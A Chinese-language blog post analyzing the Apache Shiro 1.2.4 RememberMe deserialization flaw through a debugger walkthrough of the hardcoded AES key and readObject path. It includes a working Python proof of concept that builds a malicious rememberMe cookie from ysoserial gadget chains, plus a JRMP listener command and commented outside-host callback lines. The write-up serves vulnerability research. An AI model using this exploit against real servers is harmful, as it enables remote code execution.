Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证、授权、加密和会话管理。Shiro拥有易于理解的API,您可以快速、轻松地获得任何应用程序——从最小的移动应用程序到最大的网络和企业应用程序。
Shiro v1.2.4中使用RememberMe
功能时,使用了AES
对Cookie
进行加密,但AES
密钥硬编码在代码中且不变,因此可以进行加密解密,并触发反序列化漏洞完成任意代码执行。
感觉网上的分析的文章都并不深入,并且在我自己的环境中,发现很多结论感觉都是错的,欢迎打脸ORZ。
java version "1.7.0_21",方便使用 ysoserial中的payload
Server version: Apache Tomcat/8.5.56,jdk1.7支持tomcat8
shiro-root-1.2.4,9549384b0d7b77b87733892ab00b94cc31019444,漏洞分支
commons-collections4,适用于ysoserial中的payload
使用Apache Shiro Quickstart示例页面进行测试
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 #切换分支
使用shiro/samples/web
示例项目目录,IDEA
导入并进行设置。
配置~/.m2/toolchains.xml
,添加jdk
<?xml version="1.0" encoding="UTF-8"?> <toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd"> <toolchain> <type>jdk</type> <provides> <version>1.7</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>/Library/Java/JavaVirtualMachines/jdk1.7.0_21.jdk/</jdkHome> </configuration> </toolchain> </toolchains>
配置pom.xml,添加依赖库
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <parent> <groupId>org.apache.shiro.samples</groupId> <artifactId>shiro-samples</artifactId> <version>1.2.4</version> <relativePath>../pom.xml</relativePath> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>samples-web</artifactId> <name>Apache Shiro :: Samples :: Web</name> <packaging>war</packaging> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-toolchains-plugin</artifactId> <version>1.1</version> <executions> <execution> <goals> <goal>toolchain</goal> </goals> </execution> </executions> <configuration> <toolchains> <jdk> <version>1.7</version> <vendor>sun</vendor> </jdk> </toolchains> </configuration> </plugin> <plugin> <artifactId>maven-surefire-plugin</artifactId> <configuration> <forkMode>never</forkMode> </configuration> </plugin> <plugin> <groupId>org.mortbay.jetty</groupId> <artifactId>maven-jetty-plugin</artifactId> <version>${jetty.version}</version> <configuration> <contextPath>/</contextPath> <connectors> <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector"> <port>9080</port> <maxIdleTime>60000</maxIdleTime> </connector> </connectors> <requestLog implementation="org.mortbay.jetty.NCSARequestLog"> <filename>./target/yyyy_mm_dd.request.log</filename> <retainDays>90</retainDays> <append>true</append> <extended>false</extended> <logTimeZone>GMT</logTimeZone> </requestLog> </configuration> </plugin> </plugins> </build> <dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <scope>provided</scope> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>net.sourceforge.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>2.6</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> </dependency> <dependency> <groupId>org.mortbay.jetty</groupId> <artifactId>jetty</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.mortbay.jetty</groupId> <artifactId>jsp-2.1-jetty</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>jcl-over-slf4j</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies> </project>
下载JSTL标签库,导入到IDEA中
IDEA中添加设置tomcat服务器:
运行成功:
生成Cookie的POC:
import base64 import uuid import subprocess from Crypto.Cipher import AES def rememberme(command): # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command], stdout=subprocess.PIPE) # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': # payload = encode_rememberme('127.0.0.1:12345') payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator') # payload = encode_rememberme('http://shiro.f422cd57.n0p.co') with open("./payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode()))
org/apache/shiro/mgt/DefaultSecurityManager.java:492
使用resolvePrincipals
方法启发式解析上下文凭据
org/apache/shiro/mgt/DefaultSecurityManager.java:604
获取RememberMeManager
对象,并调用getRememberedPrincipals
方法
org/apache/shiro/mgt/AbstractRememberMeManager.java:393
继续调用getRememberedSerializedIdentity
方法
org/apache/shiro/web/mgt/CookieRememberMeManager.java:215
获取序列化的凭证,从请求中获取Cookie
中的rememberMe
并进行base64
解码,解码后内容为AES加密内容并返回。
org/apache/shiro/mgt/AbstractRememberMeManager.java:396
将解码的内容传入convertBytesToPrincipals
进行AES解密和反序列化
org/apache/shiro/mgt/AbstractRememberMeManager.java:429
调用decrypt
函数进行AES解密
org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
跟进getDecryptionCipherKey
函数
org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey
返回获取解密密钥
org.apache.shiro.mgt.AbstractRememberMeManager#decryptionCipherKey
成员decryptionCipherKey
存储着硬编码的密钥,当每次shiro启动初始化时就会使用硬编码进行赋值。
org.apache.shiro.mgt.AbstractRememberMeManager#AbstractRememberMeManager
shiro启动时在构造函数中设置密钥为DEFAULT_CIPHER_KEY_BYTES
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
DEFAULT_CIPHER_KEY_BYTES
为硬编码,继续跟进。
org.apache.shiro.mgt.AbstractRememberMeManager#setEncryptionCipherKey
密钥设置完成,以供后续使用,密钥设置的调用栈:
setEncryptionCipherKey:192, AbstractRememberMeManager (org.apache.shiro.mgt) setCipherKey:250, AbstractRememberMeManager (org.apache.shiro.mgt) <init>:109, AbstractRememberMeManager (org.apache.shiro.mgt) <init>:87, CookieRememberMeManager (org.apache.shiro.web.mgt) <init>:75, DefaultWebSecurityManager (org.apache.shiro.web.mgt) createDefaultInstance:65, WebIniSecurityManagerFactory (org.apache.shiro.web.config) createDefaults:146, IniSecurityManagerFactory (org.apache.shiro.config) createDefaults:71, WebIniSecurityManagerFactory (org.apache.shiro.web.config) createSecurityManager:123, IniSecurityManagerFactory (org.apache.shiro.config) createSecurityManager:102, IniSecurityManagerFactory (org.apache.shiro.config) createInstance:88, IniSecurityManagerFactory (org.apache.shiro.config) createInstance:46, IniSecurityManagerFactory (org.apache.shiro.config) createInstance:123, IniFactorySupport (org.apache.shiro.config) getInstance:47, AbstractFactory (org.apache.shiro.util) createWebSecurityManager:203, IniWebEnvironment (org.apache.shiro.web.env) configure:99, IniWebEnvironment (org.apache.shiro.web.env) init:92, IniWebEnvironment (org.apache.shiro.web.env) init:45, LifecycleUtils (org.apache.shiro.util) init:40, LifecycleUtils (org.apache.shiro.util) createEnvironment:221, EnvironmentLoader (org.apache.shiro.web.env) initEnvironment:133, EnvironmentLoader (org.apache.shiro.web.env) contextInitialized:58, EnvironmentLoaderListener (org.apache.shiro.web.env) listenerStart:4689, StandardContext (org.apache.catalina.core) startInternal:5155, StandardContext (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) addChildInternal:743, ContainerBase (org.apache.catalina.core) addChild:719, ContainerBase (org.apache.catalina.core) addChild:705, StandardHost (org.apache.catalina.core) manageApp:1719, HostConfig (org.apache.catalina.startup) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) invoke:286, BaseModelMBean (org.apache.tomcat.util.modeler) invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor) invoke:792, JmxMBeanServer (com.sun.jmx.mbeanserver) createStandardContext:479, MBeanFactory (org.apache.catalina.mbeans) createStandardContext:428, MBeanFactory (org.apache.catalina.mbeans) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) invoke:286, BaseModelMBean (org.apache.tomcat.util.modeler) invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor) invoke:792, JmxMBeanServer (com.sun.jmx.mbeanserver) invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security) doOperation:1486, RMIConnectionImpl (javax.management.remote.rmi) access$300:96, RMIConnectionImpl (javax.management.remote.rmi) run:1327, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi) doPrivileged:-1, AccessController (java.security) doPrivilegedOperation:1426, RMIConnectionImpl (javax.management.remote.rmi) invoke:847, RMIConnectionImpl (javax.management.remote.rmi) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) dispatch:322, UnicastServerRef (sun.rmi.server) run:177, Transport$1 (sun.rmi.transport) run:174, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:173, Transport (sun.rmi.transport) handleMessages:553, TCPTransport (sun.rmi.transport.tcp) run0:808, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:667, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1145, ThreadPoolExecutor (java.util.concurrent) run:615, ThreadPoolExecutor$Worker (java.util.concurrent) run:722, Thread (java.lang)
返回整体流程
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#crypt(byte[], byte[], byte[], int)
org.apache.shiro.crypto.JcaCipherService#crypt(javax.crypto.Cipher, byte[])
初始化Cipher实例,设置执行模式以及密钥,步步跟进,完成AES解密,返回使用ysoserial生成的序列化的payload。
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize
org.apache.shiro.io.DefaultSerializer#deserialize
跟进并看到了熟悉的readObject,这里就是反序列化的触发点,此时的调用栈为:
deserialize:77, DefaultSerializer (org.apache.shiro.io) deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt) convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt) resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt) createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt) buildSubject:846, Subject$Builder (org.apache.shiro.subject) buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject) createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:199, StandardWrapperValve (org.apache.catalina.core) invoke:96, StandardContextValve (org.apache.catalina.core) invoke:543, AuthenticatorBase (org.apache.catalina.authenticator) invoke:139, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:690, AbstractAccessLogValve (org.apache.catalina.valves) invoke:87, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:615, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1145, ThreadPoolExecutor (java.util.concurrent) run:615, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:722, Thread (java.lang)
前文添加commons-collections4.0
,而Shiro
自带的commons-collections-3.2.1
在JDK1.8u112
中,可以直接利用ysoserial
中的Commons-Collections5
(3.1-3.2.1,jdk1.8)
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
直接利用脚本生成Cookie,打出发现报错。
2020-06-22 19:22:48,995 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the current ClassLoader. Trying the system/application ClassLoader... 2020-06-22 19:22:51,375 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [sun.misc.Launcher$AppClassLoader@18b4aac2] 2020-06-23 10:49:39,338 DEBUG [org.apache.shiro.mgt.AbstractRememberMeManager]: There was a failure while trying to retrieve remembered principals. This could be due to a configuration problem or corrupted principals. This could also be due to a recently changed encryption key. The remembered identity will be forgotten and not used for this request. org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
org.apache.shiro.io.ClassResolvingObjectInputStream#resolveClass
发现shiro
中ClassResolvingObjectInputStream
继承了ObjectInputStream
,并且resolveClass
被重写,调用forName
org.apache.shiro.util.ClassUtils#forName
加载的参数为[Lorg.apache.commons.collections.Transformer;
。
这是一种对函数返回值和参数的编码,做JNI字段描述符(JavaNative Interface FieldDescriptors),[
表示数组,一个代表一维数组,比如 [[
代表二维数组。之后 L
代表类描述符,最后 ;
表示类名结束。
首先使用加载器THREAD_CL_ACCESSOR.loadClass
,若加载失败返回为null
,则尝试使用CLASS_CL_ACCESSOR.loadClass
,若继续加载失败返回为null
,则尝试使用SYSTEM_CL_ACCESSOR.loadClass
,若继续加载失败返回为null
,则抛出异常。
org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass
跟进THREAD_CL_ACCESSOR.loadClass
,发现使用loadClass
进行加载,跟进cl.loadClass
。
Class.forName
不支持原生类型,但其他类型都是支持的。Class.loadClass
不能加载原生类型和数组类型,其他类型都是支持的,测试代码如下:
Class classString = ClassLoader.getSystemClassLoader().loadClass("java.lang.String");// 类 Class classEnum = ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.RetentionPolicy");// 枚举 Class classInterface = ClassLoader.getSystemClassLoader().loadClass("java.io.Serializable");// 接口 Class classAnnotation = ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.Documented");// 注解 //Class classIntArray = ClassLoader.getSystemClassLoader().loadClass("[I");// 数组类型不能使用ClassLoader.loadClass方法 //Class classStringArray = ClassLoader.getSystemClassLoader().loadClass("[Ljava.lang.String;");// 数组类型不能使用ClassLoader.loadClass方法
可以发现确实不能加载,这也是网上公认的[Lorg.apache.commons.collections.Transformer;
加载失败的原因。
在我个人搭建的环境下,个人认为这个原因并不准确,如图:
org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass
在漏洞环境的tomcat
上下文中类似[Ljava.lang.StackTraceElement;
是可以被加载的
org.apache.catalina.loader.WebappClassLoaderBase#loadClass(java.lang.String)
继续跟进[Lorg.apache.commons.collections.Transformer;
,上下文进入了tomcat,IDEA中需要导入tomcat源码。
org/apache/catalina/loader/WebappClassLoaderBase.java:1344
这里可以发现在tomcat
的环境中其实最终还是调用了Class.forName
,因此是可以加载数组的。
那么为什么不能加载[Lorg.apache.commons.collections.Transformer;
呢,经过反复的调试发现java.lang
下面的数组可以正常加载,并确定了原因:
Tomcat
和JDK
的Classpath
是不公用且不同的,Tomcat
启动时,不会用JDK
的Classpath
,需要在catalina.sh
中进行单独设置。
加载失败时,通过System.getProperty("java.class.path")
得到Tomcat
中的classpath如下:
/Applications/tomcat8/bin/bootstrap.jar:/Applications/tomcat8/bin/tomcat-juli.jar:/Users/rai4over/Library/Caches/JetBrains/IntelliJIdea2020.1/captureAgent/debugger-agent.jar
可以在catalina.sh
中修改如下:
if [ -r "$CATALINA_BASE/bin/tomcat-juli.jar" ] ; then CLASSPATH=$CLASSPATH:$CATALINA_BASE/bin/tomcat-juli.jar else CLASSPATH=$CLASSPATH:$CATALINA_HOME/bin/tomcat-juli.jar fi CLASSPATH=$CLASSPATH:/Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar:/Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1-sources.jar
Tomcat重新启动后就能成功加载[Lorg.apache.commons.collections.Transformer;
在tomcat的上下文环境中调用Class.forName(name, false, parent)
,使用了URLClassLoader
作为ClassLoader
,但在URLClassLoader
中没有包含[Lorg.apache.commons.collections.Transformer;
位置,如图所示:
指定commons-collections-3.2.1.jar
路径即可
Class.forName("[Lorg.apache.commons.collections.Transformer;", true, new URLClassLoader(new URL[]{new URL("file:///Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar")}));
至于能不能直接成功呢,大家可以自己去尝试,hhhhhhh
可以使用JRMP解决问题。
启动JRMP服务端
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 '/System/Applications/Calculator.app/Contents/MacOS/Calculator'
生成JRMP客户端payload
import base64 import uuid import subprocess from Crypto.Cipher import AES def rememberme(command): # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command], stdout=subprocess.PIPE) # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': # payload = encode_rememberme('127.0.0.1:12345') payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator') # payload = encode_rememberme('http://shiro.f422cd57.n0p.co') with open("./payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode()))
受害服务器tomcat
加载JRMP
时的不依赖外部库,并作为JRMP
客户端,再次使用[Lorg.apache.commons.collections.Transformer;
类时上下文环境变成会JDK
,因此就完美解决了依赖。
https://blog.csdn.net/moakun/article/details/80402562
https://paper.seebug.org/shiro-rememberme-1-2-4/
https://blog.csdn.net/u012643122/article/details/46523007
https://blog.orange.tw/2018/03/
https://hunterzhao.io/post/2018/05/15/hotspot-explore-java-lang-class-forname/